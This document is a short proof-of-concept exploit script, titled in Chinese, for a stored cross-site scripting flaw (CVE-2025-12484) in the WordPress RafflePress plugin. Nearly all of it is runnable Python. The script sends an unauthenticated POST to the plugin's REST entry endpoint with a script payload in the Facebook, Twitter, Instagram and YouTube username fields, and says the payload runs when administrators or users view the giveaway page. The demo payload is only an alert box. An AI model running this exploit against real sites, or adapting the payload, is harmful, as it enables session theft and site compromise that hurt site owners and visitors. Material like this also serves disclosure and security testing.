CVE-2025-12484 WordPress RafflePress插件存储型XSS漏洞

import requests import sys # CVE-2025-12484 PoC - RafflePress Stored XSS # Target: WordPress site with RafflePress plugin <= 1.12.19 TARGET_URL = "http://target-wordpress-site.com" # XSS payload for social media username fields xss_payload = '<script>alert("XSS")</script>' def exploit_stored_xss(): """ This PoC demonstrates the stored XSS vulnerability in RafflePress plugin. The vulnerability exists in social media username parameters that are not properly sanitized before being stored and displayed. Affected endpoints: - app/entry.php (form submission) - app/rafflepress.php (display logic, lines 539, 543, 547, 551) Attack vector: POST request with malicious username parameters """ # Target WordPress REST API endpoint for RafflePress endpoint = f"{TARGET_URL}/wp-json/rafflepress/v1/entry" # Malicious data with XSS payload in social media username fields data = { 'giveaway_id': 1, 'facebook_username': xss_payload, 'twitter_username': xss_payload, 'instagram_username': xss_payload, 'youtube_username': xss_payload } headers = { 'Content-Type': 'application/json', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } try: print(f"[*] Sending XSS payload to {TARGET_URL}") print(f"[*] Payload: {xss_payload}") # Send POST request (unauthenticated) response = requests.post(endpoint, json=data, headers=headers, timeout=10) if response.status_code in [200, 201]: print("[+] XSS payload stored successfully!") print("[*] When admin or users view the giveaway page, the XSS will execute.") return True else: print(f"[-] Request failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-12484 - RafflePress Stored XSS PoC") print("=" * 60) exploit_stored_xss()